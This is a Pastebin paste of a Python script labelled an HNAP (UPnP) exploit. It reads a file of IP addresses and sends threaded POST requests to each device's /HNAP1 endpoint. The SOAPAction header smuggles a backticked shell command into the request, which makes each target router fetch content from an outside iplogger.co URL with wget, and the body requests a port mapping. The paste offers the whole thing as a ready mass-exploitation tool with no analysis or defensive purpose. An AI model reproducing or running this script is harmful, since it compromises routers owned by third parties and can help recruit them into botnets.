Advertisement
mysql_Anarchy

[ PYTHON ] HNAP Exploit (upnp)

Jun 3rd, 2018
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.21 KB | None | 0 0
  1. #HNAP Exploit (UPNP)
  2. import threading, sys, time, random, socket, re, os, requests
  3.  
  4. ips = open(sys.argv[1], "r").readlines()
  5. payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>"
  6. headerlist = {'SOAPAction': 'http://purenetworks.com/HNAP1/GetDeviceSettings/`cd /tmp && wget http://iplogger.co/2qWq45 -O-`'}
  7.  
  8. class pump(threading.Thread):
  9.     def __init__ (self, ip):
  10.         threading.Thread.__init__(self)
  11.         self.ip = str(ip).rstrip('\n')
  12.     def run(self):
  13.         try:
  14.             url = "http://"+ip+"/HNAP1"
  15.             url = re.sub('\n', '', url)
  16.             r = requests.post(url, timeout=5, headers=headerlist, data=payload)
  17.             print "[HNAP] Payload Sent %s"%(url)
  18.         except:
  19.             pass
  20.  
  21. for ip in ips:
  22.     try:
  23.         n = pump(ip)
  24.         n.start()
  25.     except:
  26.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement